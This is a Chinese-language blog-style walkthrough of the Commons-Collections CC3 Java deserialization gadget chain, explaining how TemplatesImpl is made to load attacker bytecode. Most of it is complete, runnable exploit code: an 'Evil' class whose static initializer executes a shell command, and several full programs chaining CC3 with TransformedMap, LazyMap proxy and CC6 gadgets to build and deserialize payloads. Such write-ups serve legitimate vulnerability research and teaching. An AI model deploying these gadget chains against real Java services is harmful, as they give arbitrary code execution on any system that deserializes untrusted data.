Commons-Collections CC3链不同于前几条链的命令执行,而是可以加载恶意字节码实现代码执行。
CC3链有两种调用方式:
(1) 使用 InvokerTransformer调用 Templates.newTransformer
(2) 使用 InstantiateTransformer类 + TrAXFilter类进行调用 (当 InvokerTransformer在黑名单中时)

1 2 3 4
| TemplatesImpl.newTransformer TemplatesImpl.getTransletInstance TemplatesImpl.defineTransletClasses _class[_transletIndex].newInstance()
|

1、_name不能为 null,需利用反射赋值,defineTransletClasses加载恶意类后实例化执行任意代码,跟进 defineTransletClasses:

2、赋值bytecodes恶意字节码,bytecodes是一个二维数组,在 for循环中加载恶意类,且恶意类的父类必须是 AbstractTranslet:




EXP
Evil.class (Evil.java编译后)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class Evil extends AbstractTranslet { public Evil() { }
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException { }
public void transform(DOM var1, SerializationHandler[] var2) throws TransletException { }
static { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException var1) { throw new RuntimeException(var1); } } }
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class Main { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); templates.newTransformer(); } }
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); map.put("value",1); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class); annontationInvocationHandlerConstructor.setAccessible(true); Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); serialize(annotationInvocationHandler); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value",1); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class); annontationInvocationHandlerConstructor.setAccessible(true); Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); serialize(annotationInvocationHandler); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
构造逻辑
1、查找 TemplatesImpl.transformer的用法,在 TrAXFilter类的构造函数中被调用,templates可控:

2、可以利用 InstantiateTransformer.transform获取其构造方法并进行实例化:

1 2 3 4 5 6 7
| InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
根据流程图可知,CC3不仅可以和 CC1- TransformedMap联合利用,和 LazyMap链,CC6等都是可以的。
CC3 + CC1-LazyMap链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class); annontationInvocationHandlerConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annontationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, h); Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Override.class, proxyMap); serialize(annotationInvocationHandler); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|
CC3 + CC6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map = new HashMap<Object, Object>(); map.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); serialize(map); deserialize(); }
public static void serialize (Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectOutputStream.writeObject(object); }
public static void deserialize () throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt")); objectInputStream.readObject(); } }
|